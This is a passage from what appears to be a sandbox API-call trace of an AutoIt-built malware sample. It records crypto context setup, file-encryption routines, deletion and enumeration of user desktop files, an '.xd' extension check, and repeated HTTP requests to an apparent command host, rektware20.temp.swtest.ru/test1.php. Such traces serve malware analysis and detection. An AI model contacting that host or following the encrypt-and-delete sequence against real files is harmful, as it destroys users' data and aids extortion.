wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.900] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.900] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.900] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.900] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.900] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.901] CryptReleaseContext (hProv=0x1632100, dwFlags=0x0) returned 1 [0074.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.901] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.901] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.901] CloseHandle (hObject=0x3d8) returned 1 [0074.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.901] CloseHandle (hObject=0x3d0) returned 1 [0074.920] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.920] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.920] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", lpFilePart=0x0) returned 0x2b [0074.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\a8vjtajrc.avi")) returned 0x20 [0074.920] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c830 [0074.921] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\a8vjtajrc.avi")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x164c830, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.926] FindClose (in: hFindFile=0x164c830 | out: hFindFile=0x164c830) returned 1 [0074.927] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.927] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.927] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.927] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.927] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.928] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.928] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.928] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0074.928] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.928] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.928] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.928] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.928] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.929] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.929] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.929] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.929] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.929] CloseHandle (hObject=0x0) returned 0 [0074.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YDltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ltr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tr.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.931] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.931] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.931] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.931] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.931] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.931] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.931] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.931] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.931] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0074.931] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.931] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.931] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.932] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.932] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.932] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.932] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.933] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.933] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.933] CloseHandle (hObject=0x0) returned 0 [0074.933] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.933] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0074.933] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0074.933] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.933] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.934] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.934] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.934] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.934] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.934] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.934] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.934] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.935] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.935] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.935] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631ee0) returned 1 [0074.936] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.936] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.936] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.936] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.936] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.937] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.937] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.937] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.937] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.937] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.937] PeekMessageW (in: 